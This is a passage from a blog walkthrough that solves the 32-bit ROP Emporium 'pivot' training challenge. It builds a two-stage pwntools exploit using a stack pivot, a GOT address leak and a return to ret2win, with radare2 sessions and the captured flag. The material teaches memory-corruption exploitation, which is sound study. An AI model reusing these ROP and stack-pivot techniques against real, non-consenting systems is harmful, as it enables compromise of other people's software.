The second pivoted ROP chain should now do the following: Call foothold_function() to engage the dynamic linker to fill in the GOT, call puts() with the GOT entry as the argument and leak the address as raw bytes to the stdout stream and call back the binary main() function to enter the second stage of the exploit.

Let’s construct the second ROP chain (which consists of just function calls):

1
2
3
4
5
# address leak chain
ropchain2 =  p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)

The foothold_function will print a string to the stdout and puts() will leak the address from the GOT. You can now read the leak in a variable in the exploit:

1
2
3
4
5
6
# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")

# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)

The overall exploit is now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import struct
from pwn import *

# stack offset to overwrite eip
stack_offset = 44

# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b

# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;

popret = 0x080488c0
xchgret = 0x080488c2

# run target
p = process("./pivot32")

# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')

# construct ropchains
# stack pivot chain
ropchain =  p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)

# address leak chain
ropchain2 =  p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)

# stack smash buffer
buffer = "A"*stack_offset + ropchain

p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")

# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)
log.success("foothold@libpivot32 is at: 0x%x" % foothold_leak)

p.interactive()

Running it and attaching to the process with Radare2 shows how the dynamic linker fills the GOT with the function address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0xf778fc89]> pd 1@0x0804a024
            ;-- reloc.foothold_function_36:
               ; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
            0x0804a024      .dword 0x080485f6                            ; RELOC 32 foothold_function
[0xf778fc89]> pd 4@0x080485f0
/ (fcn) sym.imp.foothold_function 6
|   sym.imp.foothold_function ();
|       !      ; CALL XREF from 0x080488a7 (sym.uselessFunction)
\       |   0x080485f0      ff2524a00408   jmp dword [reloc.foothold_function_36] ; 0x804a024
        |   0x080485f6      6830000000     push 0x30                   ; '0' ; 48
        `=< 0x080485fb      e980ffffff     jmp 0x8048580
/ (fcn) sym.imp.__libc_start_main 6
|   sym.imp.__libc_start_main ();
\           0x08048600      ff2528a00408   jmp dword [reloc.__libc_start_main_40] ; 0x804a028 ; "@5\\\xf7`\xb3`\xf7\xf0\nm\xf7"
[0xf778fc89]> dcu main
Continue until 0x0804873b using 1 bpsize
hit breakpoint at: 804873b
[0x0804873b]> pd 1@0x0804a024
            ;-- reloc.foothold_function_36:
               ; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
            0x0804a024      .dword 0xf7788770                            ; RELOC 32 foothold_function

All that is left to do now is to calculate the correct offset to ret2win() and receive the flag!

2nd stage

Analysis of libpivot32.so reveals the static relative offset from foothold_function() to ret2win():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot32.so
Process with PID 30193 started...
= attach 30193 30193
bin.baddr 0x56644000
Using 0x56644000
asm.bits 32
-- Change your fortune types with 'e cfg.fortunes.type = fun,tips,nsfw' in your ~/.radare2rc
[0x56644640]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 30193 30193
[0x56644640]> afl~ret2win
0x56644967    1 46           sym.ret2win
[0x56644640]> afl~foothold_function
0x56644770    1 43           sym.foothold_function
[0x56644640]> ? 0x56644967-0x56644770
503 0x1f7 0767 503 0000:01f7 503 "\xf7\x01" 0000000111110111 503.0 503.000000f 503.000000

Thus we need to add 0x1f7 to the address of foothold_function() to reach ret2win():

1
2
3
# calculate ret2win address
ret2win_addr = foothold_leak +	0x1f7
log.success("ret2win@libpivot32 is at: 0x%x" % ret2win_addr)
Stack smash to call ret2win()

The second stage stack smash ROP chain will simply be a RET to the ret2win() address:

1
2
3
4
5
6
# 2nd stage ropchain
ropchain3 =  p32(ret2win_addr)
ropchain3 += p32(0xdeadbeef)

# 2nd stage evil buffer
buffer = "A"*stack_offset + ropchain3

Adding a recv() for the flag string, the final exploit now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import struct
from pwn import *

# stack offset to overwrite eip
stack_offset = 44

# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b

# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;

popret = 0x080488c0
xchgret = 0x080488c2

# run target
p = process("./pivot32")

# Wait for debugger
#pid = util.proc.pidof(p)[0]
#print "The pid is: "+str(pid)
#util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')

# construct ropchains
# stack pivot chain
ropchain =  p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)

# address leak chain
ropchain2 =  p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)

# stack smash buffer
buffer = "A"*stack_offset + ropchain

p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")

# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)
log.success("foothold@libpivot32 is at: 0x%x" % foothold_leak)

# calculate ret2win address
ret2win_addr = foothold_leak + 0x1f7
log.success("ret2win@libpivot32 is at: 0x%x" % ret2win_addr)

# 2nd stage ropchain
ropchain3 =  p32(ret2win_addr)
ropchain3 += p32(0xdeadbeef)

# 2nd stage evil buffer
buffer = "A"*stack_offset + ropchain3

# send to heap address
p.sendline()

# send 2nd stage buffer overflow
log.info("Sending stack smash and chain to ret2win...")
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

# receive flag (cut out prompt)
flag = p.recvall()[3:]
log.success("Got flag: "+flag)

Running it will now succesfully receive the flag and exit():

1
2
3
4
5
6
7
8
janne808@megatron:~/pwnwork/pivot$ python pivot32.py
[+] Starting local process './pivot32': pid 30310
[+] foothold@libpivot32 is at: 0xf7752770
[+] ret2win@libpivot32 is at: 0xf7752967
[*] Sending stack smash and chain to ret2win...
[+] Receiving all data: Done (36B)
[*] Process './pivot32' stopped with exit code 0 (pid 30310)
[+] Got flag: ROPE{a_placeholder_32byte_flag!}
Conclusion

The walkthrough described all the steps necessary to succesfully exploit the binary with multiple ROP chains in two stages. It is also possible to achieve the same steps in a single stage exploit. This will be the focus of the next blog post where the 64-bit binary will be cracked.

Happy hacking until then!

Comments